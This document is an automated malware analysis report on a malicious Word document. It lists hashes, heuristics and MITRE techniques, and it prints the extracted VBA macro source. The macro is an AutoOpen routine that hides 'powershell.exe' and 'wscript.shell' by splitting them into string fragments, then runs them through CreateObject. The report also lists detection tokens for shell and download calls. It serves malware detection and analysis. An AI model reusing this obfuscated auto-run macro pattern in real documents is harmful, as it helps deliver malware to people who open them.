Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 c954543ff49ac721…

MALICIOUS

Office (OOXML)

17.1 KB Created: 2021-07-08 04:53:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2026-06-04
MD5: ee8e08773a114019206f524446abd698 SHA-1: ea100b49e68b031f61cedeeee7bb88e0c1839ee7 SHA-256: c954543ff49ac7216b7d17bdf335e6fa0ba111ee28b7a0cf3743098bdd68a643
170 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The sample contains VBA macros that trigger an AutoOpen subroutine. This subroutine uses CreateObject to instantiate 'wscript.shell' and then executes a PowerShell command. The PowerShell command is constructed by concatenating strings to form 'powershell.exe -noexit -command ""', indicating it is intended to download and execute a second-stage payload. The presence of AutoOpen and CreateObject heuristics, along with the VBA script, strongly suggests a macro-based downloader.

Heuristics 6

  • VBA project inside OOXML medium 4 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
        f = f + "t.shell"
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
        Set wordupate = CreateObject(f)
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Triggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub AutoOpen()
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/10/21/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/9/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/10/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/11/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/12/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/13/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/14/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/inkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2017/model3dIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2018/wordml/cexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2016/wordml/cidIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2018/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 778 bytes
SHA-256: 75827cc53fda5ec707ce34868cdbf02990dd1217e0064f177875505920e9a7a0
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "NewMacros"
Sub AutoOpen()
    Retrieve
    dexit
End Sub

Sub Retrieve()
    xyz = """"""
    c = "po"
    c = c + "wers"
    t = "hell.exe"
    ret = c + t + " -noexit -command "
    ret = ret + xyz
    f = "wsc"
    f = f + "rip"
    f = f + "t.shell"
    x = 0
    y = True
    Dim wordupdate
    Set wordupate = CreateObject(f)
    With wordupdate.Run(ret)
    End With
End Sub

Sub dexit()
    MsgBox ("")
End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 13312 bytes
SHA-256: ad40ed363ed1a3a6b1715e0989257726a99d28c3a4c944d016949deccc04ae4e

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